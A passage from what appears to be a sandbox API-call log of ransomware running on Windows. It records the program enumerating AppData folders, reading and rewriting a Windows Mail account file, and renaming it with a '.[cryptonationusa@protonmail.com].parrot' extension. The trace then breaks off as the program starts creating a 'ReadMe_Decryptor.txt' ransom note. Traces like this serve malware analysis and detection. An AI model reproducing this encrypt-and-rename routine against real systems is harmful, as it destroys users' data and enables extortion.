lpString2=".") returned 0 [0085.385] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.385] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.385] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.385] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0085.385] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6aacb8 [0085.385] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178aa0 | out: hHeap=0x5b0000) returned 1 [0085.385] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0085.385] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0085.385] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.385] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0085.385] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aacb8 | out: hHeap=0x5b0000) returned 1 [0085.385] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0085.385] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317bee8 | out: hHeap=0x5b0000) returned 1 [0085.385] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 0 [0085.386] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c068 [0085.386] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0085.386] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0085.386] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0085.386] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.386] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERC", cAlternateFileName="")) returned 1 [0085.386] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1 [0085.386] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 0 [0085.386] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c068 | out: hHeap=0x5b0000) returned 1 [0085.386] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0085.386] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0085.386] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1 [0085.386] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 0 [0085.387] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0085.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aca90 | out: hHeap=0x5b0000) returned 1 [0085.387] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0085.388] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0085.388] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.389] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1024", cAlternateFileName="")) returned 1 [0085.389] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbb812520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb812520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0085.389] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1 [0085.389] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb884940, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb884940, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1 [0085.389] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb8aaaa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb8aaaa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Explorer", cAlternateFileName="")) returned 1 [0085.389] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0085.389] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0085.389] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1 [0085.390] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0085.390] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xc0333b80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc0333b80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1 [0085.390] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c4d89a0, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c4d89a0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat", cAlternateFileName="")) returned 1 [0085.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d2b8 [0085.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d2b8 | out: hHeap=0x5b0000) returned 1 [0085.390] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0085.421] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0085.421] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.421] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0085.421] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0085.421] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1 [0085.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0085.421] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d2b8 [0085.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0085.422] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.422] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0085.423] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.424] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x5e4, lpOverlapped=0x0) returned 1 [0085.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0085.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0085.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0085.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0085.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178cb8 [0085.424] GetLastError () returned 0x0 [0085.424] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0085.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0085.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0085.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0085.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d2b8 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d2b8 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3178cb8 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3178ea0 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178cb8 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179170 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178ea0 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31795a8 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179170 | out: hHeap=0x5b0000) returned 1 [0085.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x223e050 [0085.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31795a8 | out: hHeap=0x5b0000) returned 1 [0085.425] WriteFile (in: hFile=0x26c, lpBuffer=0x223e050*, nNumberOfBytesToWrite=0x708, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x223e050*, lpNumberOfBytesWritten=0x18eed4*=0x708, lpOverlapped=0x0) returned 1 [0085.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e050 | out: hHeap=0x5b0000) returned 1 [0085.426] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.427] CloseHandle (hObject=0x26c) returned 1 [0085.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x68a3e8 [0085.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x17e) returned 0x6a9260 [0085.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a3e8 | out: hHeap=0x5b0000) returned 1 [0085.428] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0085.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0085.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0085.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162050 | out: hHeap=0x5b0000) returned 1 [0085.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0085.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6aacb8 [0085.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0085.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0085.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, 